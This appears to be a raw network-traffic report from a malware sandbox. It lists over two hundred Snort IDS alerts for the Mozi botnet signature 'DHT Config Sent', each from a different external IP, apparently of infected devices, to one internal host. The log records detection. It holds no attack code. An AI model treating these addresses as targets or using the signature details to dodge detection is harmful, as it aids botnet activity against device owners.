Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:24583 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.240.3:34869 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.208:27183 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 59.88.234.18:54459 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 150.117.7.70:8080 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:28411 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.158.2:8083 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.78.54:3967 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.210:19520 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.109:13467 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.138:25992 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.119:1030 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 170.51.110.12:32283 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.138:12576 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.199:7223 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.163:29242 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:25398 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.162.19:28319 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.45:11558 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.42.73:9963 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.142:17544 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:20916 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.214:21643 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 198.16.58.241:21668 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.99:2467 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.34:56162 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.38:5569 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.95:8293 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.62:8625 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 200.59.72.210:3542 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.50:11265 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.152:27144 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 160.153.235.195:22622 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.227:17651 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.26:21633 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.134:24778 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.4.104:62351 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.134:26916 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.111:1441 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.6:14393 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.232:7218 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.118:33814 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.91.172:51952 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:26958 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.37:15916 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.111:27728 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.1.68:8340 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.72:12568 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.241:9482 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.37:22591 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.226:11345 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.23:5353 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.109:26819 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.153:17543 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:29557 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.11:23752 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.38:7885 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.178:20807 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.176:12438 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.186.217:4000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.5.235:8082 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:60528 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 125.224.5.29:18503 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.34:39426 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:16526 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.30:4449 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 170.51.110.122:13110 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 82.166.125.72:27529 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.120:19478 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.18:19032 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.128:20719 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.230:9960 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.58:19605 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 200.69.62.147:8083 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.97:8363 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.1.50:15688 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.34:37092 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.36:47432 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.206:13775 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.148.150:11211 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.37:3261 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.252:26022 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.190:8620 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.240:15163 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.108:4564 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.144:20911 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.253:4187 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.208:62566 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.215:23681 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.166:11546 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.226:51342 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.60:22541 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.81:13729 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.79:5290 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.241.172.105:16508 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.34:54732 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.11.123:61505 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.46:16805 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 61.1.224.68:11211 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.88:7320 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.3:1024 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.214.213:11857 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.41:25615 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.228:5400 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.241.252:4000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.123:7765 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.119.84.144:22755 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 59.127.228.113:4000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.33:7519 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.49:34994 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.94:14699 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.249:20759 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.91:15781 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.143:26061 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 24.152.36.28:8000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.231:3347 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 122.160.115.155:17411 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.7:19707 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.35:19333 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.42:12827 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.248:18546 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 61.41.230.161:11211 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.88:9637 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.175:23408 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.211:22528 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.21:24126 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.210:5353 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.1.160:27527 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.130:16384 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 3.250.120.13:8083 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.141:24978 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.127:1176 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.225:37869 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 200.81.166.158:42209 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.37:57828 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.158:11686 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.143:19744 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 117.211.44.93:8082 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.11.148:26814 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 213.230.71.159:19458 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.34:53693 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.110:2094 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.71:7304 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.219:6424 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.50:16808 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.115:6016 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.8.217:20014 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.241:3084 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 59.88.227.146:8080 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.134:42576 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.189:13733 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.139:24755 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.161:7817 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.235:19991 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.163:26785 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.79:8615 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.180.233:30301 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.174:19763 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.36:36103 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.86:2484 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.189:23973 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.9.46:29768 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.178:19776 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.22:18433 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.8.38:64918 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 61.3.111.234:8000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 190.80.24.230:18924 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.142:7207 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.83:13314 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.109.174:62217 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.5.169:20145 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.103:17776 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 1.10.212.37:42986 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 190.80.24.228:17453 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.171:19463 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.45:17554 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.80:35240 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.152:24955 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.158:14513 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.203.66:30301 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.131:15271 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.118:15426 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.60:19822 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.226:24780 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.1.50:15201 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.26:16939 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.47:26021 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.108:24237 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 201.221.99.127:55434 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.7.165:30060 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.66:7586 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.69:3496 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 59.89.230.72:8081 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.61.130:9989 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.46:16977 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.77.204:2813 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.254:25740 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.23:16478 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.35:27555 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.172:18439 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.64.234:8082 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.95:33489 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.140:3253 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.71.146:7616 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.238:7665 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.68.175:5532 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 170.51.110.42:2549 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.69.42:11459 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.2.134:51620 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.226:31888 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 170.51.110.13:34045 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.112:11792 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.246:10279 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.76.37:15761 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.24:7246 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 170.51.110.84:22345 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 14.0.200.85:11211 -> 192.168.2.3:23481
